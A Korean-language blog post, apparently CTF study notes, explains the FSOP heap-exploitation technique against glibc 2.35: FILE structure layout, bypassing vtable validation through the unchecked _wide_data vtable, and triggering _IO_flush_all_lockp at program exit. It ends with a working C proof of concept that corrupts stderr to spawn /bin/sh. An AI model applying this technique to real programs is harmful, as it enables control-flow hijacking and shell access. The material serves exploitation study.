[FSOP] glibc 2.35에서 FSOP 하기
목차
_IO_flush_all_lockp를 이용한 FSOP 기법 FSOP(File Stream Oriented Programming)는 파일 입출력을 위해 생성된 file stream 포인터를 이용한 공격 기법이다. Exploit 시나리오는 glibc의 버전마다 조금씩 다른데 공통적인 부분은 이러한 로직을 악용해서, 실행 흐름을 조작하는 공격이다. clip_board 문제를 풀기 위해 공부한 내용인데 정리해두면 나중에 활용하기 좋을 것 같다. 이렇게 FSOP 기법마다 사용되는 필드가 다르겠지만 이번 포스트에서 중요한 필드는 마찬가지로 symbol이 있다면 gdb에서 마지막으로 구조체만 출력했음에도 엄청 길어졌는데, 나중에 출력하는 법과 원형만 참고하면 좋을 것 같다. 이렇게 그래서 방법을 찾다가 이 포스트에서 아이디어를 얻었는데, 상술한 이렇게 함수 매크로를 따라가다 보면 앞서 언급한 포스트에서는 이렇게 특정 조건을 만족하면 이 중에서 새로운 두 방법중에 가용한 방법을 채택하면 된다. 0x00. Introduction
vtable 영역에 상황에 맞는 함수 주소들이 존재fopen, fread, fwrite, fclose 등의 상황에서 특정 조건 만족 시 함수 호출 0x01. FILE Structure
fopen 등의 파일 입출력 함수를 이용해서 file stream을 생성하면, _IO_FILE_plus 구조체가 생성된다.struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};_IO_FILE_plus 구조체가 _IO_FILE 구조체를 포함하는 형식인데, gdb에서 libc symbol이 있는 환경이라면 구조체 형식으로 출력도 가능하다.gef➤ p *(struct _IO_FILE_plus *) 0x7ffff7fa5780
$1 = {
file = {
_flags = 0xfbad2887,
_IO_read_ptr = 0x7ffff7fa5803 <_IO_2_1_stdout_+131> "\n",
_IO_read_end = 0x7ffff7fa5803 <_IO_2_1_stdout_+131> "\n",
_IO_read_base = 0x7ffff7fa5803 <_IO_2_1_stdout_+131> "\n",
_IO_write_base = 0x7ffff7fa5803 <_IO_2_1_stdout_+131> "\n",
_IO_write_ptr = 0x7ffff7fa5803 <_IO_2_1_stdout_+131> "\n",
_IO_write_end = 0x7ffff7fa5803 <_IO_2_1_stdout_+131> "\n",
_IO_buf_base = 0x7ffff7fa5803 <_IO_2_1_stdout_+131> "\n",
_IO_buf_end = 0x7ffff7fa5804 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7fa4aa0 <_IO_2_1_stdin_>,
_fileno = 0x1,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "\n",
_lock = 0x7ffff7fa6a70 <_IO_stdfile_1_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7fa49a0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7fa1600 <_IO_file_jumps>
}_wide_data이다._IO_wide_data 구조체 형식으로 출력할 수 있다.gef➤ p *(struct _IO_wide_data *) 0x7ffff7fa49a0
$2 = {
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_IO_state = {
__count = 0x0,
__value = {
__wch = 0x0,
__wchb = "\000\000\000"
}
},
_IO_last_state = {
__count = 0x0,
__value = {
__wch = 0x0,
__wchb = "\000\000\000"
}
},
_codecvt = {
__cd_in = {
step = 0x0,
step_data = {
__outbuf = 0x0,
__outbufend = 0x0,
__flags = 0x0,
__invocation_counter = 0x0,
__internal_use = 0x0,
__statep = 0x0,
__state = {
__count = 0x0,
__value = {
__wch = 0x0,
__wchb = "\000\000\000"
}
}
}
},
__cd_out = {
step = 0x0,
step_data = {
__outbuf = 0x0,
__outbufend = 0x0,
__flags = 0x0,
__invocation_counter = 0x0,
__internal_use = 0x0,
__statep = 0x0,
__state = {
__count = 0x0,
__value = {
__wch = 0x0,
__wchb = "\000\000\000"
}
}
}
}
},
_shortbuf = L"",
_wide_vtable = 0x7ffff7fa10c0 <_IO_wfile_jumps>
}_IO_wide_data의 마지막 필드에 _IO_FILE_plus와 동일하게 vtable 정보를 담고있는 포인터를 저장하고 있는데, _IO_jump_t 구조체 형식으로 출력하면 다음과 같다.gef➤ p *(struct _IO_jump_t *) 0x7ffff7fa10c0
$3 = {
__dummy = 0x0,
__dummy2 = 0x0,
__finish = 0x7ffff7e15ff0 <_IO_new_file_finish>,
__overflow = 0x7ffff7e10390 <__GI__IO_wfile_overflow>,
__underflow = 0x7ffff7e0efd0 <__GI__IO_wfile_underflow>,
__uflow = 0x7ffff7e0d840 <__GI__IO_wdefault_uflow>,
__pbackfail = 0x7ffff7e0d600 <__GI__IO_wdefault_pbackfail>,
__xsputn = 0x7ffff7e10840 <__GI__IO_wfile_xsputn>,
__xsgetn = 0x7ffff7e152b0 <__GI__IO_file_xsgetn>,
__seekoff = 0x7ffff7e0f750 <__GI__IO_wfile_seekoff>,
__seekpos = 0x7ffff7e184b0 <_IO_default_seekpos>,
__setbuf = 0x7ffff7e145a0 <_IO_new_file_setbuf>,
__sync = 0x7ffff7e106a0 <__GI__IO_wfile_sync>,
__doallocate = 0x7ffff7e09e90 <_IO_wfile_doallocate>,
__read = 0x7ffff7e15930 <__GI__IO_file_read>,
__write = 0x7ffff7e14ec0 <_IO_new_file_write>,
__seek = 0x7ffff7e14670 <__GI__IO_file_seek>,
__close = 0x7ffff7e14590 <__GI__IO_file_close>,
__stat = 0x7ffff7e14eb0 <__GI__IO_file_stat>,
__showmanyc = 0x7ffff7e19420 <_IO_default_showmanyc>,
__imbue = 0x7ffff7e19430 <_IO_default_imbue>
} 0x02. Strategy
Validation Bypass
vtable이 있으니 해당 영역에 함수 주소를 overwrite할 수만 있으면 해당 함수가 호출될 것 같지만, 아쉽게도 glibc 2.27부터 vtable을 검증하는 로직이 추가되었다고 한다. 예를 들어 glibc 2.35 버전에서는 IO_validate_vtable가 다음과 같이 구현되어있다.IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}vtable의 주소와 __start___libc_IO_vtables 사이의 offset이 section_length보다 큰지 검증함으로써 _libc_IO_vtables 영역에 있는 주소인지 검증한다._wide_data에 있는 vtable은 검증하는 로직이 없다고 한다.// _IO_FILE_plus->vtable functions
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
#define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))
// _IO_FILE_plus->_IO_wide_data->_wide_vtable functions
#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)
#define _IO_WIDE_JUMPS(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
#define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \
(*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \
+ offsetof(TYPE, MEMBER)))
#define _IO_MEMBER_TYPE(TYPE, MEMBER) __typeof__ (((TYPE){}).MEMBER)_IO_WIDE_JUMPS_FUNC에서는 IO_validate_vtable 함수가 호출되지 않는 것을 확인할 수 있다. Trigger
fflush()를 이용하여 FSOP를 트리거하였으나, fflush()를 따로 호출하지 못하는 상황에서 어떻게 트리거를 할 지 찾아보다가 이 발표자료를 참고해서 _IO_flush_all_lockp 함수가 다음 상황에서 호출된다는 것을 확인했다.exit functionmain_IO_flush_all_lockp 함수를 glibc 2.35에서 확인해보면 다음과 같다.int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
FILE *fp;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (
((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
}
#ifdef _IO_MTSAFE_IO
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif
return result;
}_IO_OVERFLOW 함수가 호출되므로 새로운 fp를 구성하거나 overwrite할 때 설정해야 하는 필드들의 값은 다음과 같다.fp->flags = 0fp->vtable = &_IO_wfile_jumpsfp->mode = 1 (0보다 큰 값)fp->_wide_data->_IO_write_ptr = 1 혹은 &anywhere_rwfp->_wide_data->_IO_write_base = 0fp->_wide_data->_wide_vtable = &fake_vtable_IO_write_ptr은 _IO_write_base보다 크기만 하면 되지만 포인터 주소가 들어가다보니 가능하다면 read / write가 가능한 영역을 할당받아 그 주소를 써주는 것이 좋을 것 같다.
fp를 구성했다면 위 이미지와 같이 메모리가 구성되는데, 마지막으로 해주어야 하는 것은 _IO_list_all을 unlinking 하는 것이다.
_IO_flush_all_lockp 함수에서 _IO_list_all에 담겨있는 file stream을 순회하며 _IO_OVERFLOW를 호출할 조건이 충족됐는지 확인하기 때문에_IO_list_all이 새로운 fp를 가리키게 함_chain 필드를 잘 조작해서 fp가 중간에 들어가게 함 0x03. PoC
//GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
//Compiled by GNU CC version 11.2.0.
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include<string.h>
void backdoor()
{
system("/bin/sh");
}
int main()
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
char *p1 = calloc(0x200, 1);
char *p2 = calloc(0x200, 1);
char *p3 = calloc(0x200, 1);
size_t puts_addr = (size_t)&puts;
printf("[*] puts address: %p\n", (void *)puts_addr);
size_t libc_base_addr = puts_addr - 0x80e50;
printf("[*] libc base address: %p\n", (void *)libc_base_addr);
size_t _IO_2_1_stderr_addr = libc_base_addr + 0x21b6a0;
printf("[*] _IO_2_1_stderr_ address: %p\n", (void *)_IO_2_1_stderr_addr);
size_t _IO_wfile_jumps_addr = libc_base_addr + 0x2170c0;
printf("[*] _IO_wfile_jumps address: %p\n", (void *)_IO_wfile_jumps_addr);
char *stderr2 = (char *)_IO_2_1_stderr_addr;
puts("[+] step 1: change stderr->_flags = 0x0");
*(size_t *)stderr2 = 0;
puts("[+] step 2: set stderr->_wide_data = p1");
*(size_t *)(stderr2 + 0xa0) = (size_t)p1;
puts("[+] step 3: change stderr->vtable to _IO_wfile_jumps");
*(size_t *)(stderr2 + 0xd8) = _IO_wfile_jumps_addr;
puts("[+] step 4: set stderr->_mode > 0");
*(size_t *)(stderr2 + 0xc0) = 1;
puts("[+] step 5: set stderr->_wide_data->_IO_write_base = 0x0");
*(size_t *)(p1 + 0x18) = (size_t)0x0;
puts("[+] step 6: set stderr->_wide_data->_IO_write_ptr = p2(anywhere rw)");
*(size_t *)(p1 + 0x20) = (size_t)p2;
puts("[+] step 7: set stderr->_wide_data->_wide_vtable = p3");
*(size_t *)(p1 + 0xe0) = (size_t)p3;
puts("[+] step 8: put backdoor at fake _wide_vtable->doallocate");
// *(size_t *)(p3 + 0x10) = (size_t)(&backdoor);
// *(size_t *)(p3 + 0x18) = (size_t)(&backdoor);
// *(size_t *)(p3 + 0x20) = (size_t)(&backdoor);
// *(size_t *)(p3 + 0x28) = (size_t)(&backdoor);
// *(size_t *)(p3 + 0x30) = (size_t)(&backdoor);
// *(size_t *)(p3 + 0x38) = (size_t)(&backdoor);
// *(size_t *)(p3 + 0x40) = (size_t)(&backdoor);
// *(size_t *)(p3 + 0x48) = (size_t)(&backdoor);
// *(size_t *)(p3 + 0x50) = (size_t)(&backdoor);
// *(size_t *)(p3 + 0x58) = (size_t)(&backdoor);
// *(size_t *)(p3 + 0x60) = (size_t)(&backdoor);
*(size_t *)(p3 + 0x68) = (size_t)(&backdoor);
// *(size_t *)(p3 + 0x70) = (size_t)(&backdoor);
// *(size_t *)(p3 + 0x78) = (size_t)(&backdoor);
// *(size_t *)(p3 + 0x80) = (size_t)(&backdoor);
// *(size_t *)(p3 + 0x88) = (size_t)(&backdoor);
// *(size_t *)(p3 + 0x90) = (size_t)(&backdoor);
// *(size_t *)(p3 + 0x98) = (size_t)(&backdoor);
// *(size_t *)(p3 + 0xa0) = (size_t)(&backdoor);
puts("[+] step 9: return to trigger backdoor func");
return 0;
// fflush(stderr); // doesn't need fflush();
} 0x04. Reference